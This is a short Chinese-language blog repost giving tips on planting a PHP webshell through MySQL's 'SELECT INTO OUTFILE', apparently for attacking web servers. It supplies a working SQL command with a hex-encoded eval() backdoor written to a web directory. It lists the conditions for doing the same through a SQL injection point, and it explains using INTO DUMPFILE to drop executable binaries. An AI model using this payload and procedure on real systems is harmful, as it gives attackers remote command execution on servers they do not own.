select into outfile导出webshell技巧

来源:互联网 发布:python爬虫抓取数据 编辑:程序博客网 时间:2024/05/21 17:10
select into outfile导出webshell技巧  

在网上看到的都是先建立一个表。然后插入一句话木马。再查询并导出,经过我实验 其实不用建表 就可以导出文件的  

比如我们进入了phpmyadmin,随便点击一个数据库,然后点击sql,接着执行select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile ’d:/xamp/www/ok.php’

即可将一句话<?php eval($_REQUEST[cmd]);?>导出得到webshell.  

遇到php+mysql注入点的时候 如果权限允许并且php.ini里面magic_quotes_gpc=off时候也可以在相应地方直接写入一句话到 web目录,jsp+mysql的话就不需要考虑magic_quotes_gpc...  

---------------------------------------------------------------------------------

以前看过一篇博文说到利用MySQL中的out intofile可以进入注入,具体方法,就是通过提交一些危险内容,然后将其导出成文件。

今天再次拿起这个问题看了看,又多了一点收获。

如果要实现用into outfile把代码写到WEB目录下,取得WEBSHELL

3大先天条件:

1. 知道物理路径(into outfile 'WEB目录的物理路径')这样才能写对目录。(默认的当前目录是MySQL的数据目录)

2.能够使用union(也就是MySQL版本在3以上)

3.没有对'进行过滤(因为outfile后面的''不可以用其他函数代替转换)

2大后天条件:

1.MySQL用户拥有file_priv权限(不然就不能写文件或者把文件内容读出)

2.对web目录有写权限。

 

 

顺带说一下mysql dumpfile与outfile函数的区别

SELECT into outfile :导出到一个txt文件,可以导出每行记录的,这个很适合导库

SELECT into dump:只能导出一行数据

如果想把一个可执行二进制文件用into outfile函数导出,导出后,文件会被破坏

因为into outfile函数会在行末端写新行,更致使的是会转义换行符,这样2进制可执行文件就会被破坏

这时,我们能用into dumpfile导出一个完整能执行的2进制文件,它不对任何列或行进行终止,也不执行任何转义处理

总结:

into outfile:导出内容

into dumpfile:导出二进制文件


原创粉丝点击